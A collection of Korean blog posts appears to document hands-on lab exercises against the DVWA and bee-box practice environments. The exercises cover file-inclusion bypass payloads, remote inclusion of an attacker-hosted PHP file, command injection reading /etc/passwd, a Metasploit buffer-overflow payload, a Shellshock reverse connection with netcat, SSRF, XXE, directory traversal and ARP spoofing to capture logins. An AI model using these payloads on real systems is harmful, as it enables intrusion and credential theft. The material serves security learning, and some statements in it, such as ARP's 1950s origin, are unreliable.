'웹해킹'에 해당되는 글 40건

1. 파일 실행(File Inclusion) 공격 Medium 단계 실습

(1) RFI 공격

[그림 1-1] 파일 실행 공격

파일 실행 공격 시도 결과 에러 메시지가 출력되지만 etc/passwd에 관한 내용은 화면에 출력되지 않는 다는 것을 볼 수 있다.

[그림 1-2] 소스 코드

소스 코드를 보면 page 변수 값에서 "http://", "https://", "../", "..\"을 삭제한다. 대소문자를 구분하는 str_replace() 함수를 사용하고 있어 이 취약점을 이용하면 Http://, HTTP://, …/./ 등으로 우회가 가능하다. ..././는 ./이 삭제되서 ../로 복구가 가능하다.

[그림 1-3] 우회 성공

page=HTTP://192.168.171.175/cat.php로 우회한 결과 cat.php에 심어놨던 공격 코드들이 동작해 파일 내용들이 웹 페이지에 노출 되는 것을 확인할 수 있다. 또한 page=Http://192.168.171.175/cat.php로 우회해서 실행해도 결과값은 똑같다.

(2) LFI 공격

[그림 1-4] 우회 성공

[그림 1-4]는 page=..././..././..././..././..././..././..././etc/passwd 접근 화면이다. 페이지 상단에 /etc/passwd 관련된 내용들이 출력됐음을 볼 수 있다. 이 또한 변수 검증 결함 취약점을 이용해 우회한 결과다.

2. 파일 실행(File Inclusion) 공격 High 단계 실습

(1) LFI공격

[그림 2-1] 에러 페이지

page=http://192.168.171.175/cat.php를 입력해 요청하면 에러 페이지가 나오고 원하는 결과값은 출력되지 않는다.

[그림 2-2] 소스 코드

소스코드를 보면 fnmatch 함수를 사용해 file*이라는 패턴, 즉 file로 시작하는 경우에 매칭이 되는지에 대한 여부와 include.php인 경우에만 입력을 허용했다. 만약 파일 업로드 시엔 file로 시작하는 파일을 업로드 하거나 file:// 형식의 URL을 사용하면 우회가 가능하다.

[그림 2-3] 우회 성공

page=file:///etc/passwd로 우회해서 접근하면 /etc/passwd 파일 경로 조작이 가능하다. URL에서 file로 시작하고 php는 내부 파일로 인식을 하기 때문에 High 단계에서도 우회가 가능함을 알 수 있다. 공격자는 취약점이 있다는 것을 발견하고 어떤 방식으로 웹 서버에 자신이 원하는 공격 코드가 담긴 파일을 업로드 할 것인지 생각하게 된다. 추가로 RFI 공격은 반드시 http 프로토콜이 들어가야 로컬 파일을 불러와 실행할 수 있기 때문에 현재 방어 관점에서 보면 우회가 불가능하기 때문에 실행할 수 없다.

3. 대응방안

- 외부 사용자가 입력한 파일 이름을 사용하지 않는다.

- 반드시 파일 이름의 입력값을 검증한다.

- 화이트리스트에 인클루드가 필요한 파일 이름의 목록을 작성해 화이트리스트에 있는 파일 이름들만 허용하고 나머지 파일들은 전부 차단한다.

- ../과 같은 디렉터리 트레버설 공격 문자열을 차단한다.

1. 파일 실행(File Inclusion) 공격 개요

[그림 1-1] 파일 실행 공격 과정

파일 실행 취약점은 공격자가 지정한 파일 내에 서버스크립트를 실행하는 공격이다. 공격 대상 서버의 내부에 존재하는 파일을 이용해 공격하는 내부 파일 실행(LFI), 공격자 서버에 존재하는 파일을 가져와 공격하는 원격 파일 실행(RFI)으로 구분된다. 내부 파일을 참조한다는 점은 LFI 공격과 경로조작(Directory Traversal) 공격과 많이 흡사해서 헷갈리는 경우가 있는데 LFI 공격은 참조한 파일 내에서 코드가 실행되면 실행한 결과를 페이지에 보여주고 경로조작(Directory Traversal) 공격은 서버 자체 스크립트를 포함해서 파일의 내용을 그대로 페이지에 보여준다는 점에서 차이점이 있다.

2. LFI 공격의 위험도 구분

PHP는 include(), include_once(), require(), require_once()와 같은 include() 계열의 함수를 사용하면서 그 인자를 변수에서 입력받을 때 취약점이 발생한다.

• 위험도 상: include($_GET['filename']);
• 위험도 중: include($_GET['filename'].'.inc');
• 위험도 하: include('include.php');

위험도 상은 PHP 실행에 포함되는 인자를 filename에서 받는다. 이는 어떤 파일이라도 모두 받을 수 있기 때문에 제일 위험하다.  위험도 중은 .inc 문자열을 덧붙여서 파일을 참조한다. 이 경우엔 filename을 인자가 받더라도 .inc 문자열 검증을 해야 해서 상대적으론 덜 위험하지만 inc 확장자를 갖는 파일을 업로드 할 수 있으면 위험하다. 위험도 하는 특정 파일을 지정한다. 공격자가 참조 파일 이름을 알 수 없기 때문에 실행 결과엔 어떤 파일이 참조됐는지 나타나지 않아 최상의 방어가 가능하다.

3. RFI 공격 실습

 <그림 3-1> 공격 코드

그림 3-1의 php 파일은 RFI를 이용해서 실행할 POC 코드다. 만약 해당 php 파일이 실행되면 system 함수 안에 있는 명령어가 실행되고 /etc/passwd 내용이 출력된다. php 파일을 웹 서버 경로인 /opt/lampp/htdocs에 저장한다.

<그림 3-2 file1.php 인클루드>

URL을 보면 page=file1.php가 있다. Page 파라미터로 지정된 file1.php 파일이 인클루드 되서 실습 페이지를 표시하고 있다. 페이지가 전환될 때마다 Page 파라미터 값이 바뀌는데 만약 RFI 취약점이 있다면 외부 호스트에 있는 파일 실행이 가능하다.

<그림 3-3 RFI 공격 성공>

page 파라미터 뒤에 http://칼리리눅스IP/파일명을 입력하고 실행하면 cat.php 파일이 인클루드 되어 /etc/passwd 내용이 노출되었음을 볼 수 있다.

4. LFI 공격 실습

웹 취약점 스캐너는 LFI나 경로 조작을 탐지할 때 주로 /etc/passwd 파일을 사용한다. 파일의 시작이 root:x:0:0:이기 때문에 탐지하기가 매우 쉽다. 이미 시스템에 존재하는 파일만 접근이 가능하기에 RFI 공격보단 피해 강도가 약하다. LFI 공격은 아래의 방식으로 접근을 시도한다.

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=/etc/passwd

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

[그림 4-1] /etc/passwd 경로 조작

Page 파라미터에 /etc/passwd 입력 결과 페이지 상단에 리눅스 계정에 관련된 내용들이 노출됨을 볼 수 있다.

[그림 4-2] 소스 코드

소스코드를 보면 PHP에서 실행되는 인자를 page로 받고 있다. 별다른 검증도 없이 모든 파일들을 page로 받기 때문에 매우 취약한 소스 코드며 파일 실행 취약점에 노출될 수 있다.

1. Command Injection 공격 개요

커맨드 인젝션 공격이란 영어로 번역하면 Command Injection Attack인데 정의 그대로 Command에 임의의 명령어를 삽입하고 요청을 보내 웹 서버에서 실행되게 하는 공격이다. 어떤 웹 어플리케이션 공격이 내부에서 실행된다고 했을 때 사용자가 입력한 값이 적절한 검증 절차가 존재하지 않으면 입력했던 시스템 명령어가 그대로 전달되서 공격자는 이 값을 조작해 시스템 명령어 삽입 시도 공격을 할 수 있게 된다.

<출저: 화이트해커를 위한 웹 해킹 기술>

그림에서 사용자가 IP 주소를 입력해 ping 명령어를 입력하면 웹 서버에 보내져 ping 명령어를 실행하는 웹 사이트에 접속했음을 알려주는 시나리오다. 공격자는 ping 주소 뒤에 ;를 붙이고 cat /etc/passwd라는 시스템 명령어 삽입 공격을 시도한다. 만약 시스템 명령어 삽입 공격이 성공하면 공격자가 원하는 결과를 볼 수 있게 된다.

2. 공격 실습

<그림 2-1> DVWA Command Injection>

DVWA에서 Command Injection을 실행시켜 IP 주소 란에 127.0.0.1을 입력하면 웹 서버에서 ping 결과를 알려준다. 만약 이 명령어를 리눅스 상에서 입력해도 똑같은 결과값이 나온다.

<그림 2-2 취약한 소스코드>

커맨드 인젝션 공격이 시도될 때 어떻게 동작되는지 알아보기 위해 소스코드를 진단한다. 여기서 shell_exec(); 함수가 호출되는데 이 함수는 시스템 명령을 내리는 역할을 한다. 현재 소스코드에선 'ping -c 4'를 통해 ping을 보내게 되는데 -c는 횟수를 제한하는 옵션이고 여기선 ping 값을 4번 전달받겠다는 의미다. $target는 웹의 요청 메세지로부터 전달된 파라미터 값으로 이 부분에 ip를 입력해 ping 명령이 실행된다. 이 소스코드에선 특수 문자(;,&,% 등)를 필터링 해주는 코드는 없기 때문에 ; 뒤에 리눅스 명령어를 실행시키면 동작하게 되는 취약한 소스코드로 판단할 수 있다.

<그림 2-3 리눅스 ping 명령어>

콘솔에 ping -c 4 127.0.0.1을 입력해 실행하면 그림 2-1과 동일한 결과가 나온다. 이 때 4는 ping을 4번 보내겠다는 의미다.

<그림 2-4 시스템 명령어 삽입 시도>

이번엔 공격자 입장에서 시스템 침투를 시도한다. 그림 2-3에선 127.0.0.1에서 끝났지만 그림 2-4에선 ;(세미콜론)을 붙여 시스템 명령어를 삽입한다. ls 명령어를 삽입하고 실행하면 그림 2-4와 같이 현재 로컬에 존재하는 폴더 목록들을 볼 수 있다.

<그림 2-5 시스템 명령어 삽입 공격 시도>

DVWA에서 ;cat /etc/passwd 명령어를 삽입해 공격을 시도하면 그림 1-5와 같이 현재 웹 서버에 있는 디렉토리 목록들이 전부 노출되었음을 볼 수 있다. 이 공격이 가장 기본이 되는 커맨드 인젝션 공격 방법이며 실제로도 이와 같은 방식으로 공격이 들어올 때가 있다.

<그림 2-6> Command Injection 공격 패턴

실제로도 많이 사용되고 있는 커맨드 인젝션 공격 패턴이다. 보안관제에서 만약 이 패턴들이 들어왔을 때 차단을 하게 되는데 실제 이 패턴이 공격자들이 상당히 즐겨쓰는 패턴이기도 하다. 또한 모의해킹을 수행할 때도 이 패턴으로 점검을 수행하기도 한다.

이번엔 스택오버플로우에 대해 포스팅하려고 한다. 많이 들어봤을 법한 공격인데 공격방법도 매우 다양하게 있어 막기가 쉽지가 않다.

1. BOF 공격이란?

<사진출저: sizz의 it블로그>

버퍼오버플로우는 데이터와 main함수 쪽에서 신호를 주고 받게 되는데 예를 들면 main함수쪽에서 무언가를 실행하고 있을 때 A라는 값을 데이터쪽에 보내서 리턴주소를 주고받고 해야 하는데 데이터쪽이 포화가 되서 리턴주소가 다른 엉뚱한곳으로 가게 되는 현상이 발생한다. 그렇게 되면 ret값의 주소가 있는 영역까지 포화가 되서 ret값을 악성코드의 주소로 덮어버리게 된다. 그래서 리턴을 받지 못해서 삽입시켜 놓은 악성코드가 실행이 되게 된다.

* 스택오버플로우 공격 실습

영화를 검색하는데 그 검색어의 프록시를 잡아 버퍼오버플로우의 취약점을 이용해서 cmd안에 있는 ps를 실행시킨다는 시나리오이다. 

일단 버퍼오버플로우 화면을 실행한다. a를 354개 이상 보내면 이상이 발생한다는 전제하에 실습을 했다. 

일단 메타스플로잇으로 파일을 만들 것이다. 메타스플로잇 콘솔을 실행시키기 전에 msfdb를 실행시켜준다. 본인은 이미 실행시켜놓은 상태이다.

그리고 msfconsole이라는 명령어를 실행시켜 메타스플로잇 콘솔창을 띄워주고 리눅스 x86을 사용한다고 use linux/x86/exec라는 명령어를 입력한다. 그리고 cmd에 있는 ps를 실행시킨다는 명령어를 준다.

그리고 tmp에 payload.txt파일을 만든다는 명령어이다. 사진의 명령어와 똑같이 입력해서 실행시켜주면 알 수 없는 문구가 나올건데 이렇게 나오는게 정상이다.

그리고 x86안에 있는 파일을 tmp안에 있는 payload.txt로 보내달라고 요청하는 것이다. 사진과 같이 205바이트를 읽었다고 나오면 정상이다. 이제 메타스플로잇을 종료해준다.

payload.txt에 파일하나를 만들껀데 저 명령어를 입력해줘서 파일을 만들어준다. 사진과 같이 알 수 없는 코드들이 나오게 되면 정상적으로 만들어진 것이다.

다음으로 gedit로 test.py파일을 만들어서 사진과 같이 입력해준다. shellcode부분은 방금전에 만든 코드를 붙여넣어서 만들어 주면 된다. %41은 알파벳 A라는 뜻이며 354개가 넘어가면 문제가 발생한다는 것을 파이썬코드로 코딩해준 것이다.

이제 파이썬 파일을 실행시키면 다음과 같은 코드들이 나오는데 이 코드들을 복사해준다.

그리고 비박스로 돌아와 프록시를 잡아주고 title부분에 복사했었던 코드들을 붙여주고 Repeater로 보내준다.

프록시 Raw에서 받은 코드들을 Go버튼을 눌러 실행해준다. 그리고 Response쪽에 Render을 보면 cmd안에 있는 ps정보들이 그대로 웹페이지에 노출되고 있음을 확인할 수 있다. ps정보 말고도 다른 cmd안에 있는 정보들을 다 볼 수 있다. 그래서 스택오버플로우 공격이 심각하다는 의미이다. a라는 값을 354개 이상 줬을 때 리턴값이 엉뚱한곳으로 가는 취약점을 이용해 이런식으로 ps정보들을 전부 확인할 수 있다. ps정보 말고도 스택오버플로우 공격으로 또 어떠한 취약점이 있을지는 조금 더 연구하고 실습해봐야 할 것 같다.

이번엔 쉘 쇼크 취약점에 대해 이야기 해보려고 한다. 쉘 쇼크 취약점은 2014년에 보안업계를 긴장속으로 몰고 간 bash취약점이다. bash쉘 취약점은 의외로 좀 간단했다.

1. bash 쉘 취약점?

보통 리눅스를 실행할 때는 사진과 같이 echo 1234'까지만 실행이 되야하는게 정상인데 뒤에 bash함수가 삽입되어 같이 실행된다는게 큰 문제다. 2014년에 이러한 취약점 때문에 많이 시끄러웠었다. 맥os, 리눅스 os 등 이러한 취약점이 발견되어 많은 문제를 야기했었다. 

<사진출저: 보안프로젝트>

보통 환경변수와 함께 선언되게 되는데 환경변수+함수로 구성되어 있지만 뒤에 bash와 관련된 명령어가 삽입이 가능해지면서 문제가 야기되는 것이다. 원래는 뒤에 삽입된 명령어가 에러가 나와야 정상이다.

* 쉘 쇼크 취약점 실습

보통 환경변수를 지정해줄때는 env명령어를 쓴다. 이런식으로 env var=1을 넣어주면 아래와 같이 많은 정보들이 리눅스에 나온다.

이번에는 bash 취약점을 이용해서 실행시켜 보는 실습을 했다. 사진에서와 보는거와 같이 bash 뒤에 test라는 명령어를 넣어주었다. 하지만 칼리리눅스에서는 그러한 취약점이 없는거 같아서 비박스 리눅스에서 실행시켜 보았다.

비박스에서 해당명령어를 실행시켜 본 결과이다. bash함수로 실행시킨 test가 저런식으로 실행됐음을 알 수 있었다. 원래는 실행이 안되어야 정상인데 bash함수의 취약점이 드러났다. 현재 KISA에서 제시했던 해결방법이 있는데 bash함수를 한번만 출력되게 해서 그 다음에는 실행시키지 못하게끔 보안조치를 해놨다고 하지만 여전히 bash함수의 취약점을 이용해 공격하는 해커들이 많다. 

이번엔 쉘쇼크를 이용한 CGI를 선택한다.

그리고 프록시를 잡은후 http history로 와서 cgi-bin.shellshock.sh와 관련된 URL을 찾아주고 Repeater시켜준다.

그리고 nc -lvp 8888명령어를 이용해서 포트를 실행시켜준다. 리눅스 bash함수 취약점을 활용해 다른 리눅스 커널로 접속할 수 있는 것을 보여주려고 하는 것이다.

그리고 사진과 같이 Referer쪽에 명령어들을 입력해준다. 위 사진에서 이야기 한 거와 같이 bash함수의 취약점을 이용해 리버스 커넥션을 하려는 것이다. 다 입력하고 GO버튼을 눌러주면 커넥션이 되었음을 확인할 수 있을 것이다.

커넥션이 되면 이런식으로 명령어를 입력해주면 자유자재로 조종이 가능하다. 사실 이렇게 ip주소만 알아내면 조종이 가능한 것이 굉장히 취약하고 나중에 어떤위험이 도래될 지는 아무도 모르는 일이다. 현재로써 가장 좋은 보안방법은 bash패치를 자주해 주는 방법이다.  지금 한 실습 말고도 여러가지 위험한 취약점들이 있는데 그건 확실히 더 실습해보고 알게되면 포스팅 할 생각이다.

이번엔 디바이스 접근제한, 서버 측 요청 변조 공격에 대해 포스팅하려고 한다. 디바이스쪽에 접근할 때도 취약점이 많기 때문에 항상 유의해야 한다. 

1. 디바이스 접근 제한?

<사진출저: 보안프로젝트>

디바이스는 안드로이드유저와 파이어폭스 유저로 나뉘어져 있다. 안드로이드 유저는 page of Desktops로 가고 파이어폭스 유저는 Page for phones로 가게 되는데 여기서 취약점이 발생한다. 또한 관리가 어려워지게 된다. 둘이서 한꺼번에 접근하다보니 에러사항이 발생하는 것이다. 그래서 저걸 같이 쓰지 말고 따로따로 분리해서 쓰는 방법이 취약점을 줄일 수 있는 방법이다.

*공격 실습*

1) RFI를 사용한 포트스캔 공격

일단 저번에 했던 RFI/LFI를 선택하고 GO를 눌러 실행시킨다.

그리고 포트를 스캐닝할 파일경로를 URL주소에 삽입시키고 자신의 ip를 받도록 127.0.0.1이라는 값을 넣고 실행시키면 다음과 같은 경고창이 나오면 정상적으로 실행된 것이다.

ok버튼을 누르면 다음과 같이 색깔도 구분해서 포트들이 웹페이지에 그대로 출력되는 것을 볼 수 있다.

<소스코드>

ssrf-1.txt파일을 실행시키고 코드를 보면 포트들이 배열함수를 이용해서 나열되 있음을 알 수 있다. 가장 핵심함수는 fsockopen인데 소켓이 열려있는지 안열려있는지 확인하는 함수인데 열려있으면 ok, 안열려있으면 false라는 것을 페이지에 출력하게 되는것이다.

2) XXE를 사용한 내부망 자원에 접근하는 공격

전에 공부했던  SQL 인젝션쪽에서 XML쪽을 선택해주고 프록시를 잡아준다. 그리고 Repeater로 프록시값들을 보내준다.

그리고 ssrf-2.txt를 웹페이지에 열어서 블록지정한 부분을 복사한다.

그리고 아랫부분에 붙여넣기를 해주고 Go버튼을 누르면 오른쪽에서와 같이 그 코드가 무엇을 의미하는지에 대해 응답값을 받을 수 있다. 프록시를 잡아 내부망서버로 접속해서 이런식으로 해킹이 된 셈이다.

이번에는 아까와 똑같은 파일에서 아래부분 블록지정된 부분을 복사한다.

아까와 똑같이 아랫부분에 붙여넣기를 하고 Go를 누르면 암호문같은 문자가 나올텐데 블록지정된 부분만 복사해준다.

그리고 구글 디코더기에 넣어서 해독해보면 이런식으로 소스코드들이 화면에 보여지고 있음을 볼 수 있다. 서버측 요청의 취약점을 활용해서 이런식으로 파일들을 열어 암호화된 것을 복호화 시킬 수 있다.

1. 디렉터리 리스팅 취약점 (디렉터리)

[그림 1-1] 디렉터리 리스팅

Directory_traversal_2.php 페이지는 HTTP 연결 요청에 GET 메소드를 사용하기 때문에 URL에 변수를 노출한다. directory 변수에 입력된 documents 대신 passwords를 입력한 후 실행하면 passwords 디렉터리 안에 내용을 출력한다. 이 때 account.txt에 계정 정보가 있다고 추측할 수 있다.

[그림 1-2] etc 내 파일 목록

directory 변수에 ../을 사용해 서버에 있는 디렉터리 정보를 확인한다. etc 디렉터리에 있는 passwd 파일에 계정 비밀번호가 있다고 추측해볼 수 있다.

[그림 1-3] passwd 파일 접근 실패

../../../../etc/passwd를 입력한 후 실행하면 접근에 실패한다. 이는 passwd가 파일이어서 directory 변수에 passwd 파일의 접근이 제한되기 때문이다.

2. 대응 방안

[그림 2-1] 소스코드 - 1

난이도 high에선 directory 변수에 상대경로를 입력하거나 존재하는 디렉터리를 입력해도 다른 디렉터리로 이동되지 않는다. 소스코드를 보면 기본 경로는 변수를 사용해서 documents 디렉터리로 한정하고 있어 다른 디렉토리로 이동이 불가능하다.

[그림 2-2] 소스코드 - 2

Directory_traversal_check_3 함수에서 사용자가 입력한 경로가 관리자가 지정한 경로와 다를 경우엔 오류 메시지를 출력한다.

3. 디렉터리 리스팅 취약점 (파일)

[그림 3-1] password 파일 접근

Page 변수에 상위 경로로 가는 상대경로를 입력해서 directory 변수로 접근하지 못한 passwd 내용을 확인한다. 내용을 확인해보면 passwd는 비박스 서버에 접근 가능한 아이디, 접근 권한을 기록한 파일이다.

[그림 3-2] heroes.xml 파일 접근

Page 변수에 passwords 디렉터리 안에 있는 heroes.xml 파일을 URL에 넣고 실행하면 파일의 내용을 출력한다.

4. 대응 방안

[그림 4-1] 소스 코드 - 1

소스 코드를 확인하면 directory_traversal_check 3 함수를 사용해 변수에 입력한 데이터가 올바른 데이터인지 검사한다.

[그림 4-2] 소스 코드 - 2

directory_traversal_check 3 함수는 realpath 함수를 호출해 상대 경로를 절대경로로 바꾼 후 strpos 함수로 기본 경로에 사용자가 입력한 경로가 포함되는지 검증한다. 포함되지 않는 경로면 오류 메시지를 출력한다.

이번에는 ARP 스푸핑 공격에 대해 포스팅 하려고 한다. 사실 이 공격은 너무 흔한 공격이고 많이 들어본 공격일 것이다. 하지만 본인도 학교에서 보안개론 수업을 들을 때 이론으로만 듣고 실습은 전혀 해보지 않았다. 그래서 이번 기회에 ARP 스푸핑 공격이 어떤식으로 시도되는지, 왜 시도하려하는지에 대해 써보려고 한다.

1. ARP 스푸핑 공격이란?

<사진출저: 정보보관소 블로그>

사진에서 보는 것과 같이 클라이언트 PC와 서버 PC가 서로 통신을 하는데 그 정보를 중간에 공격자가 가로 채서 정보들을 엿보는 공격을 의미한다. 주로 가까운 근거리 통신망을 상대로 공격을 감행하게 되며 MAC 주소를 변조시켜 공격자가 마치 자신이 클라이언트인 것 마냥 서버를 속여서 정보를 전부 염탐해낸다. 미국이 1950년도에 개발한 것이기 때문에 보안이 매우 취약하다. 전에 포스팅한 내용이지만 서버와 클라이언트가 서로 통신할 때는 적어도 한번쯤 더 검증절차가 필요한데 이러한 라우터들은 검증절차라는게 없기 때문에 매우 취약하다. 그래서 해커들은 이 취약점을 이용해서 ARP 스푸핑 공격을 감행하게 되는 것이다. 스푸핑이라는 자체가 뜻이 '속이다'여서 말 그대로 사용자 클라이언트의 MAC주소를 변환시키고 서버에게 "내가 바로 사용자야" 이런식으로 응답값을 전해서 서버를 속이게 되는 것이다.

* ARP 스푸핑 공격 실습*

ARP 스푸핑 공격에 대해 알아보려는 실습을 하려고 한다. 가상에다만 시도해야 하며 실환경에다 공격하는건 절대 금지이다! 법적책임은 물론 모든 책임은 본인에게 있다. ARP 스푸핑이 어떤식으로 공격되는지 알아보고 그에 대한 해결책을 찾으면서 방어하는 법을 생각하려고 실습하는 것이다.

먼저 칼리리눅스 창에 ettercap을 실행시킨다. 보통 ARP 스푸핑 공격을 하는데 사용하는 툴이다. -G는 그래픽모드로 실행시키겠다는 의미이다.

그리고 sniff->unified sniffing을 클릭하고 네트워크 상태를 지정해준다. 보통 eth0으로 하는 경우가 많다.

eth0을 실행시키면 Ettercap이 실행되었다는 메시지를 볼 수 있다. 그리고 현재 잡혀있는 Host를 봐야하는데 Hosts->Host list라는 것을 실행시켜준다. 

Hostlist를 실행시켜 주면 아무것도 안나올텐데 Scan for hosts라는 곳에 가서 현재 실행하고 있는 호스트들을 잡아준다.

스캔시키면 이런식으로 현재 자신이 사용하고 있는 호스트들을 볼 수 있다. 이제부터가 중요한데, 어떤걸 서버, 클라이언트, 공격자로 쓸지 정해야한다. 본인의 경우에는 칼리리눅스를 공격자로 정했고, 서버는 Bee-box환경, 클라이언트는 Ubuntu환경(크롬)으로 정했다. 그리고 ifconfig로 주소를 확인하고 Add to Target에다 서버와 클라이언트를 추가해준다. 10.0.2.8은 Ubuntu환경(크롬), 10.0.2.9는 비박스환경 호스트주소이다.

그리고 Mitm->ARP Poisoning을 클릭하고 sniff remote connections라는 것을 선택해주고 ARP 스푸핑 공격을 시작한다.

이제 ARP 스푸핑 공격이 감행되었는데 공격자 입장에서는 그 내용을 봐야하기 때문에 View->connection이라는 메뉴를 열어준다.

실행시키면 다음과 같은 화면이 나오게 된다. 이미 공격은 감행되기 시작했다.

이제 우분투에서 크롬을 열어서 비박스환경을 실행시켜 준다. 로그인창이 뜰텐데 여기에 bee, bug라고 입력해주고 로그인을 한다.

그리고 Clear Text Http쪽으로 가서 로그인을 한 번 더한다. 그런데 이 부분은 선택이다. 필자는 좀 더 자세하게 보고 싶어서 다른 웹페이지에 가서도 로그인을 해봤다.

connection으로 와서 정보들을 확인해보면 사진에서와 같이 로그인 정보들이 탈취당했다는 것을 볼 수 있다. 2번 로그인한 것 전부 다 공격이 성공했다. 우리가 입력한 bee, bug가 그대로 공격자에게 노출된 것이다. 사실 실제 환경에서는 암호화가 되어 있기 때문에 이렇게 대놓고 드러나지는 않지만 암호화된 걸 복호화 할 수도 있기 때문에 매우 취약하다고 할 수 있다. 시나리오대로 공격에 성공한 셈이다.

추가로 이번에는 보안레벨이 High상태로 맞춰져있을 때 공격을 시도해보았다. 하지만 아까와는 달리 https가 빨간색으로 되어 있고 연결 또한 제대로 되지 않고 있다. 암호화된 통신을 사용하고 있기 때문이다.

현재 사용한 443포트 목록을 확인해보면 뭔가 이상하게 암호화된 것들이 보일 것이다. 로그인정보, 비밀번호 등 확실하게 암호화가 된 케이스이다. 이런식으로 암호화된 패킷 사용, 주기적으로 ARP 테이블을 검사하는 등 여러가지로 ARP 스푸핑을 예방하는 방법들이 있다. 암호도 풀기 어려운 SHA-256방식으로 사용하는 것도 예방책이 될 수 있을 것 같다.